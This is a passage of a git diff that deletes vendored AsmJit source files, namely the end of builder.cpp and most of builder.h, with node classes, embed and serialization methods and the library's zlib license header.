DebugUtils::errored(kErrorNotInitialized); - - AlignNode* node; - ASMJIT_PROPAGATE(_newAlignNode(&node, alignMode, alignment)); - - addNode(node); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Embed] -// ============================================================================ - -Error BaseBuilder::embed(const void* data, size_t dataSize) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - EmbedDataNode* node; - ASMJIT_PROPAGATE(_newEmbedDataNode(&node, Type::kIdU8, data, dataSize)); - - addNode(node); - return kErrorOk; -} - -Error BaseBuilder::embedDataArray(uint32_t typeId, const void* data, size_t itemCount, size_t itemRepeat) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - EmbedDataNode* node; - ASMJIT_PROPAGATE(_newEmbedDataNode(&node, typeId, data, itemCount, itemRepeat)); - - addNode(node); - return kErrorOk; -} - -Error BaseBuilder::embedConstPool(const Label& label, const ConstPool& pool) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - if (!isLabelValid(label)) - return reportError(DebugUtils::errored(kErrorInvalidLabel)); - - ASMJIT_PROPAGATE(align(kAlignData, uint32_t(pool.alignment()))); - ASMJIT_PROPAGATE(bind(label)); - - EmbedDataNode* node; - ASMJIT_PROPAGATE(_newEmbedDataNode(&node, Type::kIdU8, nullptr, pool.size())); - - pool.fill(node->data()); - addNode(node); - return kErrorOk; -} - -// EmbedLabel / EmbedLabelDelta -// ---------------------------- -// -// If dataSize is zero it means that the size is the same as target register -// width, however, if it's provided we really want to validate whether it's -// within the possible range. - -static inline bool BaseBuilder_checkDataSize(size_t dataSize) noexcept { - return !dataSize || (Support::isPowerOf2(dataSize) && dataSize <= 8); -} - -Error BaseBuilder::embedLabel(const Label& label, size_t dataSize) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - if (!BaseBuilder_checkDataSize(dataSize)) - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - EmbedLabelNode* node; - ASMJIT_PROPAGATE(_newNodeT(&node, label.id(), uint32_t(dataSize))); - - addNode(node); - return kErrorOk; -} - -Error BaseBuilder::embedLabelDelta(const Label& label, const Label& base, size_t dataSize) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - if (!BaseBuilder_checkDataSize(dataSize)) - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - EmbedLabelDeltaNode* node; - ASMJIT_PROPAGATE(_newNodeT(&node, label.id(), base.id(), uint32_t(dataSize))); - - addNode(node); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Comment] -// ============================================================================ - -Error BaseBuilder::comment(const char* data, size_t size) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - CommentNode* node; - ASMJIT_PROPAGATE(_newCommentNode(&node, data, size)); - - addNode(node); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Serialize] -// ============================================================================ - -Error BaseBuilder::serializeTo(BaseEmitter* dst) { - Error err = kErrorOk; - BaseNode* node_ = _firstNode; - - Operand_ opArray[Globals::kMaxOpCount]; - - do { - dst->setInlineComment(node_->inlineComment()); - - if (node_->isInst()) { - InstNode* node = node_->as(); - - // NOTE: Inlined to remove one additional call per instruction. - dst->setInstOptions(node->instOptions()); - dst->setExtraReg(node->extraReg()); - - const Operand_* op = node->operands(); - const Operand_* opExt = EmitterUtils::noExt; - - uint32_t opCount = node->opCount(); - if (opCount > 3) { - uint32_t i = 4; - opArray[3] = op[3]; - - while (i < opCount) { - opArray[i].copyFrom(op[i]); - i++; - } - while (i < Globals::kMaxOpCount) { - opArray[i].reset(); - i++; - } - opExt = opArray + 3; - } - - err = dst->_emit(node->id(), op[0], op[1], op[2], opExt); - } - else if (node_->isLabel()) { - if (node_->isConstPool()) { - ConstPoolNode* node = node_->as(); - err = dst->embedConstPool(node->label(), node->constPool()); - } - else { - LabelNode* node = node_->as(); - err = dst->bind(node->label()); - } - } - else if (node_->isAlign()) { - AlignNode* node = node_->as(); - err = dst->align(node->alignMode(), node->alignment()); - } - else if (node_->isEmbedData()) { - EmbedDataNode* node = node_->as(); - err = dst->embedDataArray(node->typeId(), node->data(), node->itemCount(), node->repeatCount()); - } - else if (node_->isEmbedLabel()) { - EmbedLabelNode* node = node_->as(); - err = dst->embedLabel(node->label(), node->dataSize()); - } - else if (node_->isEmbedLabelDelta()) { - EmbedLabelDeltaNode* node = node_->as(); - err = dst->embedLabelDelta(node->label(), node->baseLabel(), node->dataSize()); - } - else if (node_->isSection()) { - SectionNode* node = node_->as(); - err = dst->section(_code->sectionById(node->id())); - } - else if (node_->isComment()) { - CommentNode* node = node_->as(); - err = dst->comment(node->inlineComment()); - } - - if (err) break; - node_ = node_->next(); - } while (node_); - - return err; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Events] -// ============================================================================ - -Error BaseBuilder::onAttach(CodeHolder* code) noexcept { - ASMJIT_PROPAGATE(Base::onAttach(code)); - - SectionNode* initialSection; - Error err = sectionNodeOf(&initialSection, 0); - - if (!err) - err = _passes.willGrow(&_allocator, 8); - - if (ASMJIT_UNLIKELY(err)) { - onDetach(code); - return err; - } - - _cursor = initialSection; - _firstNode = initialSection; - _lastNode = initialSection; - initialSection->setFlags(BaseNode::kFlagIsActive); - - return kErrorOk; -} - -Error BaseBuilder::onDetach(CodeHolder* code) noexcept { - BaseBuilder_deletePasses(this); - _sectionNodes.reset(); - _labelNodes.reset(); - - _allocator.reset(&_codeZone); - _codeZone.reset(); - _dataZone.reset(); - _passZone.reset(); - - _nodeFlags = 0; - - _cursor = nullptr; - _firstNode = nullptr; - _lastNode = nullptr; - - return Base::onDetach(code); -} - -// ============================================================================ -// [asmjit::Pass - Construction / Destruction] -// ============================================================================ - -Pass::Pass(const char* name) noexcept - : _name(name) {} -Pass::~Pass() noexcept {} - -ASMJIT_END_NAMESPACE - -#endif // !ASMJIT_NO_BUILDER diff --git a/src/Theodosius/asmjit/core/builder.h b/src/Theodosius/asmjit/core/builder.h deleted file mode 100644 index 317bda1..0000000 --- a/src/Theodosius/asmjit/core/builder.h +++ /dev/null @@ -1,1435 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_BUILDER_H_INCLUDED -#define ASMJIT_CORE_BUILDER_H_INCLUDED - -#include "../core/api-config.h" -#ifndef ASMJIT_NO_BUILDER - -#include "../core/assembler.h" -#include "../core/codeholder.h" -#include "../core/constpool.h" -#include "../core/formatter.h" -#include "../core/inst.h" -#include "../core/operand.h" -#include "../core/string.h" -#include "../core/support.h" -#include "../core/type.h" -#include "../core/zone.h" -#include "../core/zonevector.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_builder -//! \{ - -// ============================================================================ -// [Forward Declarations] -// ============================================================================ - -class BaseBuilder; -class Pass; - -class BaseNode; -class InstNode; -class SectionNode; -class LabelNode; -class AlignNode; -class EmbedDataNode; -class EmbedLabelNode; -class ConstPoolNode; -class CommentNode; -class SentinelNode; -class LabelDeltaNode; - -// Only used by Compiler infrastructure. -class JumpAnnotation; - -// ============================================================================ -// [asmjit::BaseBuilder] -// ============================================================================ - -//! Builder interface. -//! -//! `BaseBuilder` interface was designed to be used as a \ref BaseAssembler -//! replacement in case pre-processing or post-processing of the generated code -//! is required. The code can be modified during or after code generation. Pre -//! or post processing can be done manually or through a \ref Pass object. \ref -//! BaseBuilder stores the emitted code as a double-linked list of nodes, which -//! allows O(1) insertion and removal during processing. -//! -//! Check out architecture specific builders for more details and examples: -//! -//! - \ref x86::Builder - X86/X64 builder implementation. -class ASMJIT_VIRTAPI BaseBuilder : public BaseEmitter { -public: - ASMJIT_NONCOPYABLE(BaseBuilder) - typedef BaseEmitter Base; - - //! Base zone used to allocate nodes and passes. - Zone _codeZone; - //! Data zone used to allocate data and names. - Zone _dataZone; - //! Pass zone, passed to `Pass::run()`. - Zone _passZone; - //! Allocator that uses `_codeZone`. - ZoneAllocator _allocator; - - //! Array of `Pass` objects. - ZoneVector _passes {}; - //! Maps section indexes to `LabelNode` nodes. - ZoneVector _sectionNodes {}; - //! Maps label indexes to `LabelNode` nodes. - ZoneVector _labelNodes {}; - - //! Current node (cursor). - BaseNode* _cursor = nullptr; - //! First node of the current section. - BaseNode* _firstNode = nullptr; - //! Last node of the current section. - BaseNode* _lastNode = nullptr; - - //! Flags assigned to each new node. - uint32_t _nodeFlags = 0; - //! The sections links are dirty (used internally). - bool _dirtySectionLinks = false; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `BaseBuilder` instance. - ASMJIT_API BaseBuilder() noexcept; - //! Destroys the `BaseBuilder` instance. - ASMJIT_API virtual ~BaseBuilder() noexcept; - - //! \} - - //! \name Node Management - //! \{ - - //! Returns the first node. - inline BaseNode* firstNode() const noexcept { return _firstNode; } - //! Returns the last node. - inline BaseNode* lastNode() const noexcept { return _lastNode; } - - //! Allocates and instantiates a new node of type `T` and returns its instance. - //! If the allocation fails `nullptr` is returned. - //! - //! The template argument `T` must be a type that is extends \ref BaseNode. - //! - //! \remarks The pointer returned (if non-null) is owned by the Builder or - //! Compiler. When the Builder/Compiler is destroyed it destroys all nodes - //! it created so no manual memory management is required. - template - inline Error _newNodeT(T** out, Args&&... args) { - *out = _allocator.newT(this, std::forward(args)...); - if (ASMJIT_UNLIKELY(!*out)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - return kErrorOk; - } - - //! Creates a new \ref InstNode. - ASMJIT_API Error _newInstNode(InstNode** out, uint32_t instId, uint32_t instOptions, uint32_t opCount); - //! Creates a new \ref LabelNode. - ASMJIT_API Error _newLabelNode(LabelNode** out); - //! Creates a new \ref AlignNode. - ASMJIT_API Error _newAlignNode(AlignNode** out, uint32_t alignMode, uint32_t alignment); - //! Creates a new \ref EmbedDataNode. - ASMJIT_API Error _newEmbedDataNode(EmbedDataNode** out, uint32_t typeId, const void* data, size_t itemCount, size_t repeatCount = 1); - //! Creates a new \ref ConstPoolNode. - ASMJIT_API Error _newConstPoolNode(ConstPoolNode** out); - //! Creates a new \ref CommentNode. - ASMJIT_API Error _newCommentNode(CommentNode** out, const char* data, size_t size); - - //! Adds `node` after the current and sets the current node to the given `node`. - ASMJIT_API BaseNode* addNode(BaseNode* node) noexcept; - //! Inserts the given `node` after `ref`. - ASMJIT_API BaseNode* addAfter(BaseNode* node, BaseNode* ref) noexcept; - //! Inserts the given `node` before `ref`. - ASMJIT_API BaseNode* addBefore(BaseNode* node, BaseNode* ref) noexcept; - //! Removes the given `node`. - ASMJIT_API BaseNode* removeNode(BaseNode* node) noexcept; - //! Removes multiple nodes. - ASMJIT_API void removeNodes(BaseNode* first, BaseNode* last) noexcept; - - //! Returns the cursor. - //! - //! When the Builder/Compiler is created it automatically creates a '.text' - //! \ref SectionNode, which will be the initial one. When instructions are - //! added they are always added after the cursor and the cursor is changed - //! to be that newly added node. Use `setCursor()` to change where new nodes - //! are inserted. - inline BaseNode* cursor() const noexcept { - return _cursor; - } - - //! Sets the current node to `node` and return the previous one. - ASMJIT_API BaseNode* setCursor(BaseNode* node) noexcept; - - //! Sets the current node without returning the previous node. - //! - //! Only use this function if you are concerned about performance and want - //! this inlined (for example if you set the cursor in a loop, etc...). - inline void _setCursor(BaseNode* node) noexcept { - _cursor = node; - } - - //! \} - - //! \name Section Management - //! \{ - - //! Returns a vector of SectionNode objects. - //! - //! \note If a section of some id is not associated with the Builder/Compiler - //! it would be null, so always check for nulls if you iterate over the vector. - inline const ZoneVector& sectionNodes() const noexcept { - return _sectionNodes; - } - - //! Tests whether the `SectionNode` of the given `sectionId` was registered. - inline bool hasRegisteredSectionNode(uint32_t sectionId) const noexcept { - return sectionId < _sectionNodes.size() && _sectionNodes[sectionId] != nullptr; - } - - //! Returns or creates a `SectionNode` that matches the given `sectionId`. - //! - //! \remarks This function will either get the existing `SectionNode` or create - //! it in case it wasn't created before. You can check whether a section has a - //! registered `SectionNode` by using `BaseBuilder::hasRegisteredSectionNode()`. - ASMJIT_API Error sectionNodeOf(SectionNode** out, uint32_t sectionId); - - ASMJIT_API Error section(Section* section) override; - - //! Returns whether the section links of active section nodes are dirty. You can - //! update these links by calling `updateSectionLinks()` in such case. - inline bool hasDirtySectionLinks() const noexcept { return _dirtySectionLinks; } - - //! Updates links of all active section nodes. - ASMJIT_API void updateSectionLinks() noexcept; - - //! \} - - //! \name Label Management - //! \{ - - //! Returns a vector of \ref LabelNode nodes. - //! - //! \note If a label of some id is not associated with the Builder/Compiler - //! it would be null, so always check for nulls if you iterate over the vector. - inline const ZoneVector& labelNodes() const noexcept { return _labelNodes; } - - //! Tests whether the `LabelNode` of the given `labelId` was registered. - inline bool hasRegisteredLabelNode(uint32_t labelId) const noexcept { - return labelId < _labelNodes.size() && _labelNodes[labelId] != nullptr; - } - - //! \overload - inline bool hasRegisteredLabelNode(const Label& label) const noexcept { - return hasRegisteredLabelNode(label.id()); - } - - //! Gets or creates a \ref LabelNode that matches the given `labelId`. - //! - //! \remarks This function will either get the existing `LabelNode` or create - //! it in case it wasn't created before. You can check whether a label has a - //! registered `LabelNode` by calling \ref BaseBuilder::hasRegisteredLabelNode(). - ASMJIT_API Error labelNodeOf(LabelNode** out, uint32_t labelId); - - //! \overload - inline Error labelNodeOf(LabelNode** out, const Label& label) { - return labelNodeOf(out, label.id()); - } - - //! Registers this \ref LabelNode (internal). - //! - //! This function is used internally to register a newly created `LabelNode` - //! with this instance of Builder/Compiler. Use \ref labelNodeOf() functions - //! to get back \ref LabelNode from a label or its identifier. - ASMJIT_API Error registerLabelNode(LabelNode* node); - - ASMJIT_API Label newLabel() override; - ASMJIT_API Label newNamedLabel(const char* name, size_t nameSize = SIZE_MAX, uint32_t type = Label::kTypeGlobal, uint32_t parentId = Globals::kInvalidId) override; - ASMJIT_API Error bind(const Label& label) override; - - //! \} - - //! \name Passes - //! \{ - - //! Returns a vector of `Pass` instances that will be executed by `runPasses()`. - inline const ZoneVector& passes() const noexcept { return _passes; } - - //! Allocates and instantiates a new pass of type `T` and returns its instance. - //! If the allocation fails `nullptr` is returned. - //! - //! The template argument `T` must be a type that is extends \ref Pass. - //! - //! \remarks The pointer returned (if non-null) is owned by the Builder or - //! Compiler. When the Builder/Compiler is destroyed it destroys all passes - //! it created so no manual memory management is required. - template - inline T* newPassT() noexcept { return _codeZone.newT(); } - - //! \overload - template - inline T* newPassT(Args&&... args) noexcept { return _codeZone.newT(std::forward(args)...); } - - template - inline Error addPassT() { return addPass(newPassT()); } - - template - inline Error addPassT(Args&&... args) { return addPass(newPassT(std::forward(args)...)); } - - //! Returns `Pass` by name. - //! - //! If the pass having the given `name` doesn't exist `nullptr` is returned. - ASMJIT_API Pass* passByName(const char* name) const noexcept; - //! Adds `pass` to the list of passes. - ASMJIT_API Error addPass(Pass* pass) noexcept; - //! Removes `pass` from the list of passes and delete it. - ASMJIT_API Error deletePass(Pass* pass) noexcept; - - //! Runs all passes in order. - ASMJIT_API Error runPasses(); - - //! \} - - //! \name Emit - //! \{ - - ASMJIT_API Error _emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt) override; - - //! \} - - //! \name Align - //! \{ - - ASMJIT_API Error align(uint32_t alignMode, uint32_t alignment) override; - - //! \} - - //! \name Embed - //! \{ - - ASMJIT_API Error embed(const void* data, size_t dataSize) override; - ASMJIT_API Error embedDataArray(uint32_t typeId, const void* data, size_t count, size_t repeat = 1) override; - ASMJIT_API Error embedConstPool(const Label& label, const ConstPool& pool) override; - - ASMJIT_API Error embedLabel(const Label& label, size_t dataSize = 0) override; - ASMJIT_API Error embedLabelDelta(const Label& label, const Label& base, size_t dataSize = 0) override; - - //! \} - - //! \name Comment - //! \{ - - ASMJIT_API Error comment(const char* data, size_t size = SIZE_MAX) override; - - //! \} - - //! \name Serialization - //! \{ - - //! Serializes everything the given emitter `dst`. - //! - //! Although not explicitly required the emitter will most probably be of - //! Assembler type. The reason is that there is no known use of serializing - //! nodes held by Builder/Compiler into another Builder-like emitter. - ASMJIT_API Error serializeTo(BaseEmitter* dst); - - //! \} - - //! \name Events - //! \{ - - ASMJIT_API Error onAttach(CodeHolder* code) noexcept override; - ASMJIT_API Error onDetach(CodeHolder* code) noexcept override; - - //! \} - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use serializeTo() instead, serialize() is now also an instruction.") - inline Error serialize(BaseEmitter* dst) { - return serializeTo(dst); - } - -#ifndef ASMJIT_NO_LOGGING - ASMJIT_DEPRECATED("Use Formatter::formatNodeList(sb, formatFlags, builder)") - inline Error dump(String& sb, uint32_t formatFlags = 0) const noexcept { - return Formatter::formatNodeList(sb, formatFlags, this); - } -#endif // !ASMJIT_NO_LOGGING -#endif // !ASMJIT_NO_DEPRECATED -}; - -// ============================================================================ -// [asmjit::BaseNode] -// ============================================================================ - -//! Base node. -//! -//! Every node represents a building-block used by \ref BaseBuilder. It can -//! be instruction, data, label, comment, directive, or any other high-level -//! representation that can be transformed to the building blocks mentioned. -//! Every class that inherits \ref BaseBuilder can define its own high-level -//! nodes that can be later lowered to basic nodes like instructions. -class BaseNode { -public: - ASMJIT_NONCOPYABLE(BaseNode) - - union { - struct { - //! Previous node. - BaseNode* _prev; - //! Next node. - BaseNode* _next; - }; - //! Links (an alternative view to previous and next nodes). - BaseNode* _links[2]; - }; - - //! Data shared between all types of nodes. - struct AnyData { - //! Node type, see \ref NodeType. - uint8_t _nodeType; - //! Node flags, see \ref Flags. - uint8_t _nodeFlags; - //! Not used by BaseNode. - uint8_t _reserved0; - //! Not used by BaseNode. - uint8_t _reserved1; - }; - - //! Data used by \ref InstNode. - struct InstData { - //! Node type, see \ref NodeType. - uint8_t _nodeType; - //! Node flags, see \ref Flags. - uint8_t _nodeFlags; - //! Instruction operands count (used). - uint8_t _opCount; - //! Instruction operands capacity (allocated). - uint8_t _opCapacity; - }; - - //! Data used by \ref EmbedDataNode. - struct EmbedData { - //! Node type, see \ref NodeType. - uint8_t _nodeType; - //! Node flags, see \ref Flags. - uint8_t _nodeFlags; - //! Type id, see \ref Type::Id. - uint8_t _typeId; - //! Size of `_typeId`. - uint8_t _typeSize; - }; - - //! Data used by \ref SentinelNode. - struct SentinelData { - //! Node type, see \ref NodeType. - uint8_t _nodeType; - //! Node flags, see \ref Flags. - uint8_t _nodeFlags; - //! Sentinel type. - uint8_t _sentinelType; - //! Not used by BaseNode. - uint8_t _reserved1; - }; - - //! Data that can have different meaning dependning on \ref NodeType. - union { - //! Data useful by any node type. - AnyData _any; - //! Data specific to \ref InstNode. - InstData _inst; - //! Data specific to \ref EmbedDataNode. - EmbedData _embed; - //! Data specific to \ref SentinelNode. - SentinelData _sentinel; - }; - - //! Node position in code (should be unique). - uint32_t _position; - - //! Value reserved for AsmJit users never touched by AsmJit itself. - union { - //! User data as 64-bit integer. - uint64_t _userDataU64; - //! User data as pointer. - void* _userDataPtr; - }; - - //! Data used exclusively by the current `Pass`. - void* _passData; - - //! Inline comment/annotation or nullptr if not used. - const char* _inlineComment; - - //! Type of `BaseNode`. - enum NodeType : uint32_t { - //! Invalid node (internal, don't use). - kNodeNone = 0, - - // [BaseBuilder] - - //! Node is \ref InstNode or \ref InstExNode. - kNodeInst = 1, - //! Node is \ref SectionNode. - kNodeSection = 2, - //! Node is \ref LabelNode. - kNodeLabel = 3, - //! Node is \ref AlignNode. - kNodeAlign = 4, - //! Node is \ref EmbedDataNode. - kNodeEmbedData = 5, - //! Node is \ref EmbedLabelNode. - kNodeEmbedLabel = 6, - //! Node is \ref EmbedLabelDeltaNode. - kNodeEmbedLabelDelta = 7, - //! Node is \ref ConstPoolNode. - kNodeConstPool = 8, - //! Node is \ref CommentNode. - kNodeComment = 9, - //! Node is \ref SentinelNode. - kNodeSentinel = 10, - - // [BaseCompiler] - - //! Node is \ref JumpNode (acts as InstNode). - kNodeJump = 15, - //! Node is \ref FuncNode (acts as LabelNode). - kNodeFunc = 16, - //! Node is \ref FuncRetNode (acts as InstNode). - kNodeFuncRet = 17, - //! Node is \ref InvokeNode (acts as InstNode). - kNodeInvoke = 18, - - // [UserDefined] - - //! First id of a user-defined node. - kNodeUser = 32, - -#ifndef ASMJIT_NO_DEPRECATED - kNodeFuncCall = kNodeInvoke -#endif // !ASMJIT_NO_DEPRECATED - }; - - //! Node flags, specify what the node is and/or does. - enum Flags : uint32_t { - //! Node is code that can be executed (instruction, label, align, etc...). - kFlagIsCode = 0x01u, - //! Node is data that cannot be executed (data, const-pool, etc...). - kFlagIsData = 0x02u, - //! Node is informative, can be removed and ignored. - kFlagIsInformative = 0x04u, - //! Node can be safely removed if unreachable. - kFlagIsRemovable = 0x08u, - //! Node does nothing when executed (label, align, explicit nop). - kFlagHasNoEffect = 0x10u, - //! Node is an instruction or acts as it. - kFlagActsAsInst = 0x20u, - //! Node is a label or acts as it. - kFlagActsAsLabel = 0x40u, - //! Node is active (part of the code). - kFlagIsActive = 0x80u - }; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `BaseNode` - always use `BaseBuilder` to allocate nodes. - ASMJIT_INLINE BaseNode(BaseBuilder* cb, uint32_t type, uint32_t flags = 0) noexcept { - _prev = nullptr; - _next = nullptr; - _any._nodeType = uint8_t(type); - _any._nodeFlags = uint8_t(flags | cb->_nodeFlags); - _any._reserved0 = 0; - _any._reserved1 = 0; - _position = 0; - _userDataU64 = 0; - _passData = nullptr; - _inlineComment = nullptr; - } - - //! \} - - //! \name Accessors - //! \{ - - //! Casts this node to `T*`. - template - inline T* as() noexcept { return static_cast(this); } - //! Casts this node to `const T*`. - template - inline const T* as() const noexcept { return static_cast(this); } - - //! Returns previous node or `nullptr` if this node is either first or not - //! part of Builder/Compiler node-list. - inline BaseNode* prev() const noexcept { return _prev; } - //! Returns next node or `nullptr` if this node is either last or not part - //! of Builder/Compiler node-list. - inline BaseNode* next() const noexcept { return _next; } - - //! Returns the type of the node, see `NodeType`. - inline uint32_t type() const noexcept { return _any._nodeType; } - - //! Sets the type of the node, see `NodeType` (internal). - //! - //! \remarks You should never set a type of a node to anything else than the - //! initial value. This function is only provided for users that use custom - //! nodes and need to change the type either during construction or later. - inline void setType(uint32_t type) noexcept { _any._nodeType = uint8_t(type); } - - //! Tests whether this node is either `InstNode` or extends it. - inline bool isInst() const noexcept { return hasFlag(kFlagActsAsInst); } - //! Tests whether this node is `SectionNode`. - inline bool isSection() const noexcept { return type() == kNodeSection; } - //! Tests whether this node is either `LabelNode` or extends it. - inline bool isLabel() const noexcept { return hasFlag(kFlagActsAsLabel); } - //! Tests whether this node is `AlignNode`. - inline bool isAlign() const noexcept { return type() == kNodeAlign; } - //! Tests whether this node is `EmbedDataNode`. - inline bool isEmbedData() const noexcept { return type() == kNodeEmbedData; } - //! Tests whether this node is `EmbedLabelNode`. - inline bool isEmbedLabel() const noexcept { return type() == kNodeEmbedLabel; } - //! Tests whether this node is `EmbedLabelDeltaNode`. - inline bool isEmbedLabelDelta() const noexcept { return type() == kNodeEmbedLabelDelta; } - //! Tests whether this node is `ConstPoolNode`. - inline bool isConstPool() const noexcept { return type() == kNodeConstPool; } - //! Tests whether this node is `CommentNode`. - inline bool isComment() const noexcept { return type() == kNodeComment; } - //! Tests whether this node is `SentinelNode`. - inline bool isSentinel() const noexcept { return type() == kNodeSentinel; } - - //! Tests whether this node is `FuncNode`. - inline bool isFunc() const noexcept { return type() == kNodeFunc; } - //! Tests whether this node is `FuncRetNode`. - inline bool isFuncRet() const noexcept { return type() == kNodeFuncRet; } - //! Tests whether this node is `InvokeNode`. - inline bool isInvoke() const noexcept { return type() == kNodeInvoke; } - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use isInvoke") - inline bool isFuncCall() const noexcept { return isInvoke(); } -#endif // !ASMJIT_NO_DEPRECATED - - //! Returns the node flags, see \ref Flags. - inline uint32_t flags() const noexcept { return _any._nodeFlags; } - //! Tests whether the node has the given `flag` set. - inline bool hasFlag(uint32_t flag) const noexcept { return (uint32_t(_any._nodeFlags) & flag) != 0; } - //! Replaces node flags with `flags`. - inline void setFlags(uint32_t flags) noexcept { _any._nodeFlags = uint8_t(flags); } - //! Adds the given `flags` to node flags. - inline void addFlags(uint32_t flags) noexcept { _any._nodeFlags = uint8_t(_any._nodeFlags | flags); } - //! Clears the given `flags` from node flags. - inline void clearFlags(uint32_t flags) noexcept { _any._nodeFlags = uint8_t(_any._nodeFlags & (flags ^ 0xFF)); } - - //! Tests whether the node is code that can be executed. - inline bool isCode() const noexcept { return hasFlag(kFlagIsCode); } - //! Tests whether the node is data that cannot be executed. - inline bool isData() const noexcept { return hasFlag(kFlagIsData); } - //! Tests whether the node is informative only (is never encoded like comment, etc...). - inline bool isInformative() const noexcept { return hasFlag(kFlagIsInformative); } - //! Tests whether the node is removable if it's in an unreachable code block. - inline bool isRemovable() const noexcept { return hasFlag(kFlagIsRemovable); } - //! Tests whether the node has no effect when executed (label, .align, nop, ...). - inline bool hasNoEffect() const noexcept { return hasFlag(kFlagHasNoEffect); } - //! Tests whether the node is part of the code. - inline bool isActive() const noexcept { return hasFlag(kFlagIsActive); } - - //! Tests whether the node has a position assigned. - //! - //! \remarks Returns `true` if node position is non-zero. - inline bool hasPosition() const noexcept { return _position != 0; } - //! Returns node position. - inline uint32_t position() const noexcept { return _position; } - //! Sets node position. - //! - //! Node position is a 32-bit unsigned integer that is used by Compiler to - //! track where the node is relatively to the start of the function. It doesn't - //! describe a byte position in a binary, instead it's just a pseudo position - //! used by liveness analysis and other tools around Compiler. - //! - //! If you don't use Compiler then you may use `position()` and `setPosition()` - //! freely for your own purposes if the 32-bit value limit is okay for you. - inline void setPosition(uint32_t position) noexcept { _position = position; } - - //! Returns user data casted to `T*`. - //! - //! User data is decicated to be used only by AsmJit users and not touched - //! by the library. The data has a pointer size so you can either store a - //! pointer or `intptr_t` value through `setUserDataAsIntPtr()`. - template - inline T* userDataAsPtr() const noexcept { return static_cast(_userDataPtr); } - //! Returns user data casted to `int64_t`. - inline int64_t userDataAsInt64() const noexcept { return int64_t(_userDataU64); } - //! Returns user data casted to `uint64_t`. - inline uint64_t userDataAsUInt64() const noexcept { return _userDataU64; } - - //! Sets user data to `data`. - template - inline void setUserDataAsPtr(T* data) noexcept { _userDataPtr = static_cast(data); } - //! Sets used data to the given 64-bit signed `value`. - inline void setUserDataAsInt64(int64_t value) noexcept { _userDataU64 = uint64_t(value); } - //! Sets used data to the given 64-bit unsigned `value`. - inline void setUserDataAsUInt64(uint64_t value) noexcept { _userDataU64 = value; } - - //! Resets user data to zero / nullptr. - inline void resetUserData() noexcept { _userDataU64 = 0; } - - //! Tests whether the node has an associated pass data. - inline bool hasPassData() const noexcept { return _passData != nullptr; } - //! Returns the node pass data - data used during processing & transformations. - template - inline T* passData() const noexcept { return (T*)_passData; } - //! Sets the node pass data to `data`. - template - inline void setPassData(T* data) noexcept { _passData = (void*)data; } - //! Resets the node pass data to nullptr. - inline void resetPassData() noexcept { _passData = nullptr; } - - //! Tests whether the node has an inline comment/annotation. - inline bool hasInlineComment() const noexcept { return _inlineComment != nullptr; } - //! Returns an inline comment/annotation string. - inline const char* inlineComment() const noexcept { return _inlineComment; } - //! Sets an inline comment/annotation string to `s`. - inline void setInlineComment(const char* s) noexcept { _inlineComment = s; } - //! Resets an inline comment/annotation string to nullptr. - inline void resetInlineComment() noexcept { _inlineComment = nullptr; } - - //! \} -}; - -// ============================================================================ -// [asmjit::InstNode] -// ============================================================================ - -//! Instruction node. -//! -//! Wraps an instruction with its options and operands. -class InstNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(InstNode) - - enum : uint32_t { - //! Count of embedded operands per `InstNode` that are always allocated as - //! a part of the instruction. Minimum embedded operands is 4, but in 32-bit - //! more pointers are smaller and we can embed 5. The rest (up to 6 operands) - //! is always stored in `InstExNode`. - kBaseOpCapacity = uint32_t((128 - sizeof(BaseNode) - sizeof(BaseInst)) / sizeof(Operand_)) - }; - - //! Base instruction data. - BaseInst _baseInst; - //! First 4 or 5 operands (indexed from 0). - Operand_ _opArray[kBaseOpCapacity]; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `InstNode` instance. - ASMJIT_INLINE InstNode(BaseBuilder* cb, uint32_t instId, uint32_t options, uint32_t opCount, uint32_t opCapacity = kBaseOpCapacity) noexcept - : BaseNode(cb, kNodeInst, kFlagIsCode | kFlagIsRemovable | kFlagActsAsInst), - _baseInst(instId, options) { - _inst._opCapacity = uint8_t(opCapacity); - _inst._opCount = uint8_t(opCount); - } - - //! \cond INTERNAL - //! Reset all built-in operands, including `extraReg`. - inline void _resetOps() noexcept { - _baseInst.resetExtraReg(); - resetOpRange(0, opCapacity()); - } - //! \endcond - - //! \} - - //! \name Accessors - //! \{ - - inline BaseInst& baseInst() noexcept { return _baseInst; } - inline const BaseInst& baseInst() const noexcept { return _baseInst; } - - //! Returns the instruction id, see `BaseInst::Id`. 